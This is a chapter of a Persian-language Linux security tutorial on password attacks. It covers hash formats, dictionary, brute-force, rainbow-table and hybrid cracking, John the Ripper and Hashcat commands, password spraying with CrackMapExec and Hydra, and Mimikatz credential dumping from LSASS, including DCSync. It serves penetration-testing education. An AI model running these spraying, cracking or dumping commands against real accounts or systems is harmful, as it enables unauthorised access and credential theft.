</>

لینوکس‌پارسی

مرجع فارسی آموزش لینوکس

Gentoo • Arch • Debian • Ubuntu • Kali • Parrot
پرش به محتوای اصلی

Command Palette

Search for a command to run...

فصل ۷: حملات رمز عبور

ساختار هش‌های رمز عبور (MD5، SHA1، bcrypt، NTLM، Kerberos)، انواع حملات دیکشنری، brute-force، rainbow table و hybrid، John the Ripper و Hashcat، password spraying و استخراج اعتبارنامه با Mimikatz.

پیشرفته۱۸ دقیقه مطالعهآخرین بروزرسانی: ۸ تیر ۱۴۰۵ویرایش در گیت‌هاب

هش رمز عبور چیست؟#

رمز عبور هرگز به‌صورت متن روشن (plaintext) ذخیره نمی‌شود. سامانه‌های امن از توابع یک‌طرفه‌ای به نام هش (hash) استفاده می‌کنند که از رمز عبور، رشته‌ای با طول ثابت تولید می‌کنند. هش غیرقابل بازگشت است؛ یعنی از روی هش نمی‌توان رمز اصلی را مستقیماً محاسبه کرد. مهاجم برای یافتن رمز، باید ورودی‌های احتمالی را تولید، هش کند و با هش هدف مقایسه کند.

الگوریتم‌های هش متفاوتی در صنعت استفاده می‌شوند. برخی مانند MD5 و SHA1 به‌دلیل سرعت بالا و آسیب‌پذیری برخورد، برای رمز عبور منسوخ شده‌اند. رمز عبور مدرن باید با الگوریتم‌های کند و دارای salt مانند bcrypt، scrypt، Argon2 یا PBKDF2 ذخیره شود تا حملات brute-force سخت‌تر شوند.

تفاوت هش با رمزنگاری

هش یک‌طرفه است و قابل بازگشت نیست. رمزنگاری (encryption) دوطرفه است و با کلید قابل بازگشت است. به همین دلیل رمز عبور هرگز نباید encrypt شود، بلکه باید hash شود. اگر سامانه‌ای رمز عبور را encrypt می‌کند، یعنی کلید آن هم در جایی ذخیره شده و کلید لو می‌رود.

انواع هش رایج#

نوع هشالگوریتمطول خروجیمثال کاربرد
MD5MD5۱۲۸ بیت/etc/passwd قدیمی، وب‌سایت‌های قدیمی
SHA1SHA-1۱۶۰ بیتGit، گواهی‌های قدیمی
SHA256SHA-2۲۵۶ بیتmany apps, Bitcoin
bcryptBlowfish + salt۱۸۴ بیت/etc/shadow مدرن، وب‌اپ‌ها
NTLMMD4۱۲۸ بیتاحراز هویت ویندوز قدیمی
NTLMv2MD5 + challengeمتغیراحراز هویت ویندوز مدرن
KerberosAES-256 / RC4متغیرActive Directory
NetNTLMv2MD5 + challengeمتغیراحراز هویت شبکه ویندوز

انواع حملات رمز عبور#

حمله دیکشنری (Dictionary Attack)#

در این روش، یک فهرست طولانی از رمزهای عبور احتمالی (مانند rockyou.txt با ۱۴ میلیون رمز) به ترتیب امتحان می‌شود. این روش به‌دلیل سرعت بالا و پوشش رمزهای پرکاربرد، نخستین انتخاب در حملات آفلاین است.

حمله Brute-Force#

در این روش، تمام ترکیب‌های ممکن با طول مشخص امتحان می‌شود. برای رمزهای کوتاه (۴ تا ۶ کاراکتر) یا هش‌های ضعیف کارآمد است اما برای رمزهای طولانی با کاراکترهای پیچیده، زمان آن به میلیون‌ها سال می‌رسد.

جدول رنگین‌کمان (Rainbow Table)#

جدول رنگین‌کمان، یک فهرست پیش‌محاسبه‌شده از هش‌های احتمالی است که زمان حمله را به‌شدت کاهش می‌دهد اما حجم بالایی دارد و در برابر salt بی‌اثر می‌شود.

حمله ترکیبی (Hybrid)#

ترکیب دیکشنری با قواعد (rules) است؛ مثلاً افزودن 123 یا ! به انتهای هر کلمه. این روش رمزهای رایج تغییر یافته مانند Password123! را پوشش می‌دهد.

John the Ripper — استاندارد CPU#

John the Ripper یا به اختصار John، یکی از قدیمی‌ترین و قدرتمندترین ابزارهای کرک هش است که با CPU کار می‌کند و از ده‌ها فرمت هش پشتیبانی می‌کند.

# کرک با دیکشنری پیش‌فرض
john hashes.txt
 
# کرک با دیکشنری rockyou
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
 
# تعیین فرمت هش (NT)
john --format=NT hashes.txt
 
# نمایش رمزهای کرک‌شده
john --show hashes.txt
 
# حالت incremental (brute-force هوشمند)
john --incremental hashes.txt
 
# استفاده از قواعد (rules)
john --wordlist=rockyou.txt --rules=Wordlist hashes.txt

فایل ورودی hashes.txt می‌تواند شامل هش‌های خام یا فرمت‌های استاندارد مانند user:hash باشد.

Hashcat — استاندارد GPU#

Hashcat با استفاده از GPU می‌تواند سرعت کرک را تا هزاران بار نسبت به John افزایش دهد. این ابزار از مدهای مختلف (hash modes) و چندین نوع حمله پشتیبانی می‌کند.

# کرک NTLM با دیکشنری
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
 
# کرک MD5 با دیکشنری
hashcat -m 0 md5_hashes.txt /usr/share/wordlists/rockyou.txt
 
# حمله brute-force با ماسک (۶ رقم)
hashcat -m 0 md5_hashes.txt -a 3 ?d?d?d?d?d?d
 
# حمله ترکیبی (دو دیکشنری)
hashcat -m 1000 ntlm_hashes.txt -a 1 dict1.txt dict2.txt
 
# ادامه کار از session ذخیره‌شده
hashcat --session mysession --restore
 
# نمایش رمزهای کرک‌شده
hashcat -m 1000 ntlm_hashes.txt --show

پارامتر -m نوع هش را مشخص می‌کند (1000 برای NTLM، 0 برای MD5، 1800 برای sha512crypt) و -a نوع حمله را (0 دیکشنری، 3 ماسک، 1 ترکیبی).

ماسک‌های Hashcat

ماسک‌های Hashcat به شما امکان می‌دهند الگوهای رمز را تعریف کنید. ?l حرف کوچک، ?u حرف بزرگ، ?d رقم، ?s نماد و ?a همه کاراکترها است. به‌عنوان مثال ?u?l?l?l?l?d?d?d الگویی مانند Alien123 را می‌سازد.

حملات آنلاین در برابر آفلاین#

حملات آفلاین روی هش‌های به‌دست‌آمده (مثلاً از /etc/shadow یا SAM ویندوز) اجرا می‌شوند و هیچ محدودیتی جز توان محاسباتی ندارند. حملات آنلاین مستقیماً به سرویس (SSH، RDP، FTP) متصل می‌شوند و با عوامل محدودکننده‌ای مانند rate limit، account lockout و IDS روبرو هستند.

ویژگیحمله آفلاینحمله آنلاین
ورودیفایل هشسرویس شبکه
سرعتبسیار بالا (GPU)کند (شبکه + rate limit)
ریسک شناساییصفربسیار بالا
محدودیتتوان محاسباتیlockout، IDS، bandwidth

Password Spraying#

در password spraying، یک رمز رایج (مانند Winter2026!) روی صدها حساب کاربری امتحان می‌شود. این روش برای دور زدن سیاست‌های account lockout طراحی شده است؛ چرا که هر حساب فقط یک بار امتحان می‌شود.

# با CrackMapExec روی SMB
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Winter2026!'
 
# با Hydra روی SSH
hydra -L users.txt -p 'Winter2026!' ssh://192.168.1.10

خطر account lockout

بسیاری از سازمان‌ها سیاست قفل شدن حساب را بعد از ۳ تا ۵ تلاش ناموفق تنظیم می‌کنند. Password spraying باید با دقت و با فاصله زمانی مناسب اجرا شود وگرنه باعث DoS روی همه حساب‌ها می‌شود. همیشه قبل از اجرا، سیاست lockout را در فاز reconnaissance مشخص کنید.

استخراج اعتبارنامه با Mimikatz#

پس از به‌دست آوردن دسترسی مدیر روی ویندوز، می‌توان اعتبارنامه‌های موجود در حافظه LSASS را استخراج کرد. Mimikatz قدرتمندترین ابزار برای این کار است.

# استخراج رمزهای عبور در حافظه
mimikatz # sekurlsa::logonpasswords
 
# استخراج هش‌های SAM
mimikatz # lsadump::sam
 
# استخراج تیکت‌های Kerberos
mimikatz # sekurlsa::tickets
 
# DCSync (نیازمند DCAdmin)
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator

علاوه بر Mimikatz، ابزارهایی مانند Procdump، lsassy و nanodump نیز برای dump از LSASS استفاده می‌شوند. خروجی اغلب شامل هش NTLM یا حتی رمز متنی است.

تمرین عملی — کرک هش‌ها#

یک فایل حاوی چند هش از انواع مختلف را در یک ماشین مجازی ایجاد کنید:

# ایجاد فایل هش (MD5 از کلمه password)
echo -n "password" | md5sum
# خروجی: 5f4dcc3b5aa765d61d8327deb882cf99
 
# ایجاد هش NTLM
echo -n "password" | iconv -t UTF-16LE | md4sum
 
# کرک با John
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
 
# کرک با Hashcat
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

خلاصه و گام بعدی#

در این فصل با ساختار هش رمز عبور و انواع حملات دیکشنری، brute-force، rainbow table و hybrid آشنا شدید. John the Ripper برای کرک با CPU و Hashcat برای کرک با GPU استاندارد صنعت هستند. Password spraying برای دور زدن lockout و Mimikatz برای استخراج اعتبارنامه از حافظه LSASS ویندوز به‌کار می‌روند.

در فصل بعد، با حملات شبکه بی‌سیم آشنا می‌شوید؛ جایی که با استفاده از مجموعه Aircrack-ng، دست‌دهی به WPA handshake و کرک رمز وای‌فای را در محیطی کاملاً کنترل‌شده تمرین می‌کنید.

اشتراک‌گذاری:

این صفحه در تاریخ ۸ تیر ۱۴۰۵ به‌روزرسانی شده است.